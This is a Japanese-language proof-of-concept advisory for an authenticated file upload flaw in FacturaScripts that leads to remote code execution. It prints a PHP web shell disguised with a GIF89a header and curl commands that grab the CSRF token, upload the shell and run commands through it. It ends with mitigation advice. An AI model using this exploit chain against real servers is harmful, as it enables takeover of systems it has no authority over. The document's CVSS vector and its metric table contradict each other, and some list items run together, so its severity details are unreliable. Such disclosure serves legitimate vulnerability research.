
FacturaScripts RCEエクスプロイト - 概念実証
FacturaScriptsの商品画像アップロード機能に、認証済みユーザーが悪用可能な無制限ファイルアップロードの脆弱性が存在します。有効な認証情報を持つ攻撃者は、GIF89aヘッダーを使用してPHPファイルをGIF画像に偽装し、MIMEタイプ検証をバイパスできます。ファイルは元の拡張子(.phpなどの実行可能な拡張子を含む)で保存されます。
脆弱性は以下のファイルに存在します:
Core/Lib/ExtendedController/ProductImagesTrait.php
具体的には、addImageAction() メソッド内です。
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/" が含まれているかどうかのみをチェックしますimage/gif として識別します.php 拡張子で保存されますアップロードされたファイルは以下の場所に保存されます:
/MyFiles/YYYY/MM/X.php
ここで X は自動インクリメントされるIDです。これにより直接的なリモート実行が可能になります:
http://target/MyFiles/2026/03/2.php?cmd=id
悪用に成功すると、以下のことが可能になります:
攻撃者は実行可能な拡張子(例:.php)を持つファイルをサーバーにアップロードでき、サーバー設定によってはさらなる悪用につながる可能性があります。
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID を抽出しますcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
基本スコア: 6.3(中程度)
| メトリック | 値 |
|---|---|
| 攻撃元 | ネットワーク(AV:N) |
| 攻撃の複雑さ | 低(AC:L) |
| 必要な権限 | 低(PR:L) |
| ユーザー操作 | なし(UI:N) |
| スコープ | 変更あり(S:C) |
| 機密性 | 高(C:H) |
| 完全性 | 高(I:H) |
| 可用性 | 高(A:H) |
| フィールド | 値 |
|---|---|
| エコシステム | Packagist |
| CVE ID | CVE-2026-42879 |
| パッケージ名 | facturascripts/facturascripts |
| 影響を受けるバージョン | <= 2025.81 |
| パッチ適用済みバージョン | 未パッチ |
| 修正版 | 保留中 |
.php、.phtml、.phar、またはその他の実行可能な拡張子で終わるアップロードを拒否しますgetClientOriginalName() を使用せず、検証済みの拡張子を持つ安全なUUIDベースの名前を割り当てますfileinfo などのライブラリを使用して実際のファイルコンテンツ(マジックバイト + 拡張子 + MIMEタイプ)を検証します